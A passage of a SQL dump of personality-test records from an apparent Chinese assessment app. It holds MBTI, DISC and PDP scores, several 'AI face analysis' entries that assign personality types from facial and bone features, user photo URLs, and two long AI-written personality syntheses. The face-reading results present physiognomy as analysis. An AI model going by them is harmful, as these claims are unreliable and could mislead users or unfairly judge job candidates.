\"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 17, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773043972, 1773043972, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (88, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:21:35.366Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773044495, 1773044495, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (89, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-09T09:04:40.997Z\", \"confidence\": 100, \"completedAt\": \"2026-03-09T09:04:40.997Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 30, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773047081, 1773047081, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (90, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 3, \"Peacock\": 17, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T09:05:34.273Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 15, \"Peacock\": 85, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 16, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047134, 1773047134, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (91, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047182, 1773047182, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (92, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047511, 1773047511, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (93, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109282, 1773109282, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (94, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109761, 1773109761, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (95, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健,善于规划与分析,做事有节奏,抗压与持续力强,适合深度思考与系统搭建型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg\"], \"boneAnalysis\": \"额区骨势平正,中上停过渡顺畅,骨肉均衡偏稳健型,属土金气质,重视现实与长期稳步推进。\", \"faceAnalysis\": \"额头饱满略宽,眼神沉稳有聚焦力,眉眼距离适中,整体给人理性内敛、思路清晰的印象。\", \"personalitySummary\": \"性格内敛理智,重视逻辑与结构,做事有计划感与原则边界,偏结果导向,不喜情绪化,人际上选择性投入,信任后稳定可靠。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773127193, 1773127193, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (96, 1, 'resume', '{\"content\": \"综合分析生成失败,请稍后重试。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129576, 1773129576, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (97, 1, 'resume', '{\"content\": \"下面这几份测评结果之间存在明显冲突(AI 面相:INTJ+D/C、问卷:ESTJ、PDP:孔雀85%+老虎15%、DISC:I 型100%),说明: \\n- 一部分结果偏“内向、理性、规划型”(INTJ / D+C); \\n- 另一部分则是典型“外向、表现、社交型”(ESTJ / 孔雀 / I 型)。 \\n\\n要得出“真实性格画像”,需要**假定真实人是一个:外向、偏理性、行动导向,兼具表达欲与管理意识的人**。下面是基于测评交叉验证 + 典型画像的综合结论(简历细节看不到,只能弱化对具体行业/岗位的判断,也会提示哪些点需要你自己对照验证)。\\n\\n---\\n\\n## 一、核心性格关键词(归纳后的人格底色)\\n\\n- 外向表达:强社交驱动力,喜欢说、敢表达、在群体中有存在感。 \\n- 现实务实:关注“现在怎么做”“事情如何落地”,不沉迷空想。 \\n- 结果导向:重视目标、绩效和可见成果,有一定“赢”的欲望。 \\n- 逻辑清晰:结构化思考,能把事情拆解、排序、制定步骤。 \\n- 主动掌控:偏喜欢主导、组织、发起,而不是被动跟随。 \\n- 情绪乐观:基调偏阳光,抗挫后容易自我鼓励再冲一次。 \\n- 自我要求高:对自己在他人眼中的表现和成就感有强需求。\\n\\nAI 面相给出的 “INTJ / 老虎+猫头鹰 / D+C” 更像你在“独立思考、冷静决策”时的理性内核;问卷测评 “ESTJ / 孔雀 / I 型” 更像你在“工作场景+社交场景”中的对外表现。整体呈现为:**外向型管理者 + 理性分析底色**。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 性格底色与潜在特质(结合生日倾向 + INTJ/ESTJ 混合特征)\\n\\n在不做玄学的前提下,生日只作为“人生阶段”判断: \\n- 若目前在 25–35 岁:通常是**从“表现者”向“管理者”过渡期**,会从单纯爱表现、爱说服,转向更重视结果与权威; \\n- 若在 30+:更容易体现出“控制局面、规划全盘”的一面。\\n\\n结合 INTJ(规划+逻辑)与 ESTJ(执行+管理)两种画像,你的**本质并不是真·情绪型社交咖,而是一个有计划、讲逻辑的人,只是社交和表达能力也很强**。 \\n\\n潜在特质包括: \\n- 有“我要做出点成绩”的强内驱; \\n- 对“组织、规则、流程”有天然敏感; \\n- 面子与他人评价对你重要,会驱动你多做、多争取舞台; \\n- 内心并不完全随性,喜欢自己心里有一张“路线图”。\\n\\n### 2. 真实行为风格(结合工作经历推断)\\n\\n虽然没看到具体简历内容,只能按常见轨迹做逻辑推演,需要你自己对照:\\n\\n**若你的工作经历包含:销售、商务、市场、项目协调、管理岗:** \\n- 高度符合“ESTJ + 孔雀 + I 型”: \\n - 乐于外出、谈判、主持会议、做方案汇报; \\n - 在团队中易演变成“说话多、推动力强”的那个人; \\n - 对流程、进度节点、业绩数字敏感,催进度、要结果不含糊。 \\n\\n**若你的经历更偏:运营管理、项目管理、团队负责人:** \\n- 说明你的“控制+规划”部分已经被激活: \\n - 能把复杂任务拆分成步骤,安排到人,跟踪落地; \\n - 在出现问题时,先分析逻辑和责任,再考虑情感安抚; \\n - 会用数据、事实说话,而不是仅靠情绪鼓舞。 \\n\\n整体行为模式可概括为: \\n> “先把人带动起来 → 再用结构和规则把事情落地 → 完成目标后又希望得到认可和掌声。”\\n\\n### 3. 抗压能力与做事习惯\\n\\n- **抗压能力** \\n - 对“短期高压、快节奏、强目标”的环境适应度高(如季度冲刺、项目节点)。 \\n - 在“持续模糊、长期看不到结果”的环境中会烦躁,容易质疑方向或改变路径。 \\n\\n- **做事习惯** \\n - 偏爱“有清晰目标+时间节点”,喜欢列计划、做表格、做排期。 \\n - 执行上快,愿意边干边调整,不喜拖延。 \\n - 对细节能做到“80 分认真”,但在极端细腻、重复性细活上容易浮躁。 \\n\\n- **人际模式** \\n - 在团队中倾向于做“气场较强的核心人物”:要么是领头羊,要么是关键 KOL。 \\n - 习惯用“讲道理+讲结果”方式沟通,可能略显直接。 \\n - 对“低效、拖延、不负责”的人容忍度低,容易在语气上带出不耐烦。 \\n\\n这部分与 D 型(主导)、I 型(影响)、老虎(行动)、孔雀(表现)高度吻合。\\n\\n---\\n\\n## 三、测评交叉验证:去伪存真的人格画像\\n\\n### 1. MBTI 冲突的校正\\n\\n- 面相:INTJ(内向+理性+规划) \\n- 问卷:ESTJ(外向+理性+执行) \\n\\n结合 PDP / DISC 的高孔雀、高 I 型,**你的现实工作中更接近 ESTJ:外向、现实、讲规则、强调结果**。 \\nINTJ 的成分可能体现在: \\n- 你比典型“社牛”多一点**独立思考和逻辑规划**; \\n- 在做关键决策时,你倾向先自己冷静想一圈,再去说服别人,而不是一味随大家; \\n- 有一定“看不惯低效率”的完美主义倾向。\\n\\n结论: \\n> MBTI 上更接近:E–S–T–J,带一点 N(规划、抽象思考)的影子,远离 F(过度感性)。\\n\\n### 2. PDP:孔雀 85% + 老虎 15%\\n\\n- 孔雀:表现、影响力、情绪感染。 \\n- 老虎:目标、控制、竞争。 \\n\\n你看起来不是“单纯爱玩爱聊”的孔雀,而是“带野心、带结果意识的孔雀”。 \\n- 在需要舞台感、演讲、主持、推动氛围的场景,你会很自然地站出来; \\n- 一旦涉及利益、成绩、晋升,会明显激活“老虎”那一面:更强势、更坚持原则。 \\n\\n### 3. DISC:I 型 100%,第二为 D\\n\\n- I:影响力、社交、情绪感染; \\n- D:主导、决断、冲劲。 \\n\\n结合 ESTJ 与老虎成分: \\n- 真实状态更像 **“ID 型”**:既要人、也要事。 \\n- 对领导、客户:会用热情和结果说话; \\n- 对下属/同事:既能“带节奏”,也会因为过于直接而不自觉给压力。\\n\\n---\\n\\n## 四、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- 典型“说-干一体型”:喜欢边讨论边拍板,拍板后立即推进; \\n- 决策方式:偏“快速+信息足够即可”,不是追求完美信息,而是“先做再优化”; \\n- 在团队中容易占中心位:主持会议、总结发言、做关键决策; \\n- 喜欢有可见进展的事情,对长期无反馈的琐碎任务兴趣低。\\n\\n### 2. 沟通风格\\n\\n- 语言直接、结构清晰:会说“核心有几条”“结论先说”。 \\n- 以“道理+目标+数据”说服别人: \\n - 对上:强调成果与可行性,争取资源; \\n - 对下:强调标准和责任,边鼓励边施压。 \\n- 正面情绪表达显性:善于鼓舞、打鸡血、造氛围; \\n- 负面情绪容易通过语气、表情显露:不满时很难完全掩饰。 \\n\\n**风险点**:在压力或节奏很快时,容易显得: \\n- 话多但听得不够多; \\n- 关注任务多于感受,被人贴上“有点强势/有点功利”的标签。\\n\\n---\\n\\n## 五、优势亮点(可在工作中刻意放大的部分)\\n\\n1. **强推动力与执行落地能力** \\n - 能设定明确目标→拆解成执行步骤→持续跟进,适合做项目 owner、团队负责人、业务骨干。 \\n\\n2. **沟通与影响力强** \\n - 能把复杂事务讲清楚、讲明白,有说服力; \\n - 适合对外(客户、伙伴)沟通,对内(团队)动员。 \\n\\n3. **结果导向、责任感强** \\n - 对自己负责的事有“非搞好不可”的执念; \\n - 有一定“替组织操心”的属性,天然具备管理潜力。 \\n\\n4. **逻辑与结构能力不错** \\n - 能快速抓重点、搭框架,对流程、制度、规范化有敏感度; \\n - 在需要制度建设、流程优化、项目梳理时有优势。 \\n\\n5. **抗压和适应快节奏** \\n - 在“多任务+高节奏+强目标”的业务环境中能跑得起来; \\n - 面对变化能迅速调整策略,而不是僵在原地。\\n\\n---\\n\\n## 六、可提升方向(真实短板与发展建议)\\n\\n1. **倾听与情绪敏感度** \\n - 风险:在推进任务和讲道理时,容易忽视他人真实感受; \\n - 建议: \\n - 每次决策前养成“先问三分钟,再讲三分钟”的习惯; \\n - 对关键成员,定期做一对一沟通,刻意问“你有什么顾虑和困难”。 \\n\\n2. **细节耐心与长期主义** \\n - 风险:在没有即时反馈的长期任务、细腻工作(如复杂数据分析、文档精修)中容易失去耐心; \\n - 建议: \\n - 把长期任务拆成多个“小里程碑”,每周给自己一个可见成就; \\n - 把关键细节工作分配给适合的 C/S 型伙伴,自己做决策与协调。 \\n\\n3. **控制欲与授权** \\n - 风险:老虎+D 的成分会导致“什么都想管、事事想确认”,容易累自己、压别人; \\n - 建议: \\n - 明确哪些事情“必须亲自”,哪些可以“设规则+定结果”; \\n - 对团队多用“结果管理”而非“过程控制”,减少微观干预。 \\n\\n4. **情绪管理与表达方式** \\n - 风险:压力大时语言锋利、语气急,损害长期合作关系; \\n - 建议: \\n - 在高压场景下刻意用“问题导向”替代“情绪指责”,如: \\n - 把“你怎么又……”换成“这次问题的关键点在哪,我们下次怎么避免”; \\n - 对重要对象(上级、关键同事)在冲突后及时“复盘+修复关系”。 \\n\\n5. **战略思维与视角拉高** \\n - 当前偏“战术执行+组织管理”,战略层面(行业趋势、资源布局、组织设计)需要强化; \\n - 建议: \\n - 多参与跨部门项目,主动争取“组织级”的任务; \\n - 多向上级/前辈学习:他们如何看待长期布局与风险管理。\\n\\n---\\n\\n如果你愿意补充: \\n- 出生年月日 \\n- 过往 2–3 段关键工作经历(行业/岗位/负责内容) \\n\\n我可以在此基础上,把上面的通用分析进一步细化成:**更贴近你行业发展路径的职业定位与中长期发展建议**。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129620, 1773129620, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (98, 1, 'resume', '{\"content\": \"下面的分析基于: \\n- 人脸分析:INTJ + PDP「老虎」、DISC「D/C」 \\n- MBTI 测试:ESTJ(E/S/T/J 极高分) \\n- PDP 测试:孔雀型(主 Peacock,辅 Tiger) \\n- DISC 测试:I 型为主、D 为辅 \\n- 你上传了简历,但图片内容我无法读取,因此无法结合具体工作经历、生日做更细致的印证,只能从多份测评之间做“去伪存真”的综合判断。后面如果你能补充文字版的工作经历与生日,我可以给一版更接地气的“行为风格复盘”。\\n\\n在当前信息有限的前提下,我会给出一个“高可信核心画像 + 若干可能分支”的结构化结论。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n从多份测评中相对稳定、可互相印证的特征来看,你大概率具备:\\n\\n**核心底色:**\\n- 目标导向、结果思维\\n- 逻辑清晰,偏理性决策\\n- 行动派,有执行力、有主见\\n- 组织、掌控倾向明显(喜欢有秩序、有计划)\\n\\n**在人际与工作场景中常见特征:**\\n- 带有一定的领导/主导欲 \\n- 愿意表达观点,敢于决策 \\n- 不怕冲突,更关注解决问题和推进结果 \\n- 在自己熟悉的领域,显得自信、果断\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. MBTI、PDP、DISC 之间的矛盾点\\n\\n- 面相:INTJ+D/C → 偏**内向、理性、战略性、自控强**\\n- MBTI 测评:ESTJ → 偏**外向、务实、执行强、组织者**\\n- PDP 测评:孔雀(Peacock,85%) + Tiger → 偏**外向、表现欲、社交活跃、影响他人**\\n- DISC 测评:I 型 + D → **影响型+支配型**,典型“爱说、爱带节奏、乐观感染人”。\\n\\n这几份结果存在明显冲突: \\n- 有的把你描述成“外向型组织者/表现者(ESTJ、Peacock、I 型)”; \\n- 有的把你描述成“理性、独立、略冷感的战略型(INTJ、D/C)”。\\n\\n这通常意味着两种可能:\\n\\n1. **你在工作/社交角色中表现得更外向、能说会道,但内在思维模式偏理性和掌控。** \\n2. 部分在线测评受“答题倾向”影响,夸大了你的外向、表现欲,而人脸分析和 D/C 倾向提示你其实更看重逻辑、控制、结果。\\n\\n### 2. 更可信的“核心人格底盘”\\n\\n从多维度交叉看,以下几条特征在所有版本里都**反复出现或隐含**,可信度较高:\\n\\n1. **理性决策占主导** \\n - INTJ、ESTJ、D、老虎、Tiger 都指向: \\n - 偏「T」而不是「F」:做决定看事实、逻辑、利弊,而不是情绪和关系优先。 \\n - 习惯快速判断:什么是对的、什么是有效的。\\n\\n2. **强目的性和控制感需求** \\n - D 型、Tiger、ESTJ、INTJ 的共同点: \\n - 喜欢掌握节奏,不愿被动等待或被人牵着走。 \\n - 在项目/团队中容易自然站到“主导/决策/推动”位置。 \\n - 面对模糊和混乱,会本能地想建立规则、流程、优先级。\\n\\n3. **较强的结构化与执行力** \\n - ESTJ 的 J + S,D/C 的 C,老虎+猫头鹰等,都指向你: \\n - 能把目标拆解为计划并落地执行。 \\n - 不排斥流程和规则,甚至会主动制定标准。 \\n - 对“拖延、反复、模糊指令”容忍度不高。\\n\\n4. **情绪相对稳定,抗压能力中高档** \\n - 老虎、D 型、ESTJ 都意味着: \\n - 面对压力更倾向于解决问题,而非逃避。 \\n - 紧张情境下,有一定硬扛能力,会选择“顶上去”,而不是明显退缩。 \\n - 表面情绪控制较好,不会在工作场合频繁情绪化。\\n\\n### 3. 关于“外向/内向”的真实情况\\n\\n矛盾点在于: \\n- 面相:INTJ + D/C → 偏内敛、理性,精力投向任务和思考。 \\n- 测评:ESTJ + 孔雀 + I 型 → 强烈外向、表达欲强、喜欢社交。\\n\\n更合理的解释不是“要么内向要么外向”,而是:\\n\\n> **你属于「任务场景外向、私下可能收敛」的类型。**\\n\\n- 在工作需要你去沟通、协调、影响别人时: \\n - 你能很自然地打开自己,敢说敢表达,甚至偏强势,逻辑清晰、直奔主题。 \\n- 但在真正放松的私人生活中: \\n - 你未必喜欢「无效社交」;更愿意一个人/少数人深度交流,而不是在大场合持续充当焦点。 \\n- 你对社交的态度更像“为了目标服务的工具”,而不是单纯享受社交本身。\\n\\n---\\n\\n## 三、行为与沟通风格(工作场景下的真实模样)\\n\\n### 1. 做事习惯\\n\\n- **有计划、有目标感**:更习惯先弄清目标,再讨论怎么做;不喜欢边做边变更方向。 \\n- **讲效率、不磨叽**:倾向快速决策,看到明显的不合理会直接提出或调整。 \\n- **重结果、重标准**:任务若没有清晰指标会不舒服,你会主动帮团队明确“什么算做好”。 \\n- **对细节有选择性关注**:重要细节不会放过,但对你认为“不影响结果”的细节容忍度较高。\\n\\n### 2. 抗压与应对方式\\n\\n- 压力上来时,你更可能: \\n - 开始划优先级:先干关键的,丢掉不重要的。 \\n - 收紧控制:更多亲自盯、亲自决策,对他人犯错的耐心下降。 \\n - 语气变硬、容错率下降,但仍以“把事搞定”为主线。\\n\\n- 你不喜欢长期处在完全失控、完全被动的局面,如果环境过于混乱,可能会选择“要么接管,要么离开”。\\n\\n### 3. 人际与沟通模式\\n\\n- **表达风格:直截了当、偏理性** \\n - 说话逻辑清楚、结论先行,不太习惯绕圈子。 \\n - 容易被觉得“有点强势/不够温柔”,尤其在指出问题时。\\n\\n- **合作风格:喜欢靠谱、有担当的人** \\n - 对拖延、情绪化、缺乏责任感的人容易不耐烦。 \\n - 和专业度高、对结果负责的人,很快可以建立信任。\\n\\n- **影响他人的方式** \\n - 不是靠“讨喜”,而是靠专业和决心; \\n - 在需要时,也能通过较强的表达能力、感染力带动团队。\\n\\n---\\n\\n## 四、优势亮点(综合 MBTI / PDP / DISC)\\n\\n1. **目标驱动 + 执行力强** \\n - 设定目标之后,能迅速拆解任务、分配资源、推动落地,是典型的“做成事”的人。\\n\\n2. **逻辑清晰,决策能力好** \\n - 看到信息后能快速判断优先级和风险,倾向于理性分析,而非被情绪带节奏。\\n\\n3. **有领导与组织潜质** \\n - 敢于承担责任、习惯站在“整体视角”看问题。 \\n - 在团队里容易自然成为“说了算/拍板的人”。\\n\\n4. **在关键场景中能外向表达、影响他人** \\n - 虽不一定是全场最爱社交的人,但在工作情境里,你能站出来讲话、谈判、推动项目。\\n\\n5. **抗压能力中上,有硬度** \\n - 在压力来临时,有继续推进的韧性,不轻易放弃或被情绪拖垮。\\n\\n---\\n\\n## 五、可提升方向(针对你这种“理性 + 控制 + 行动派”组合)\\n\\n1. **柔化沟通方式,区分“对事”和“对人”**\\n - 保持对结果的高标准,但在表达问题和反馈时: \\n - 多用“我观察到…”、“我们可以尝试…”代替“你怎么…”。 \\n - 先肯定再指出问题,降低对他人情绪的冲击。 \\n - 这能减少别人对你“强势/不好相处”的误解,提升合作效率。\\n\\n2. **增加对他人情绪与节奏的容忍度**\\n - 并非所有人都以效率为中心,有些人需要更多情感安全感和鼓励。 \\n - 适当拉长自己的“容错时间”,把“如何带出团队”视为和“把事做成”同等重要的目标。\\n\\n3. **避免过度控制与亲力亲为**\\n - 你的掌控感强,容易“看不惯就自己做”,短期效率高,但容易累,团队成长慢。 \\n - 更有价值的是: \\n - 明确结果和边界, \\n - 放权 + 关键节点把关, \\n - 只抓关键 20% 的事情。\\n\\n4. **警惕因过度理性而忽视长期关系资产**\\n - 将“人际关系、信任、口碑”纳入你的“结果指标”。 \\n - 不只是“事做成了”,而是“事做成的同时,让人愿意跟你继续做下一件事”。\\n\\n5. **自我节奏管理,防止长期高压硬撑**\\n - 你可能习惯“先把事干了再说休息”,容易透支。 \\n - 在高强度周期中,刻意安排: \\n - 短暂的断网休息、 \\n - 纯兴趣的活动、 \\n - 高质量的独处或少量深度社交, \\n - 用来恢复你的专注和判断力。\\n\\n---\\n\\n## 小结:一个更贴近真实的画像\\n\\n你更像是一个:\\n\\n> **以结果为导向、理性分析为底色,在工作场景中可以主动外向、善于组织和掌控局面的行动派。**\\n\\n- 内在:重逻辑、重掌控、重效率,不喜欢无序和拖拉。 \\n- 外在:在需要时能表现得外向、有说服力、有感染力,但本质上社交是服务于目标的工具。 \\n- 擅长:定目标、理清思路、推动执行、扛压力。 \\n- 易被误解:太直接、太强势、不够“温柔/顾情绪”。 \\n\\n如果你方便补充: \\n1)出生日期(精确到年月日) \\n2)简历里的关键经历(行业、职位、负责内容、任职时长) \\n\\n我可以在此基础上进一步校正,给你一版更贴近你真实工作场景的“行为与职业匹配度细化分析”。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773130628, 1773130628, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (99, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视长期规划与稳健推进,适合在专业与管理结合岗位深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"骨骼偏土形稳健,骨肉均衡,颌骨承载力强,中庭与鼻部突出现实感与责任心,具长期抗压与守成能力。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁端正,嘴形收敛,下巴厚实,整体面相稳重理性,偏重思考与执行并重。\", \"personalitySummary\": \"性格内敛理性,注重逻辑与系统思考,决策谨慎而有主见,做事稳扎稳打,擅长在复杂环境中分析问题并推进落地。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130642, 1773130642, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (100, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,擅长规划与稳健推进,做事有原则,重视长期发展与现实成效。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"面部骨骼偏土金形,骨肉匀称,颧区内敛不外凸,下颌承托感强,体现稳健持久与现实判断力。\", \"faceAnalysis\": \"额头饱满,下巴厚实,五官线条圆中带棱,神情稳重,整体给人理性沉稳、思考周密之感。\", \"personalitySummary\": \"性格偏理性克制,重视逻辑与效率,做事有计划且坚持度高,人际有边界感但可靠可信,适合承担长期复杂任务与关键责任。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130960, 1773130960, NULL, 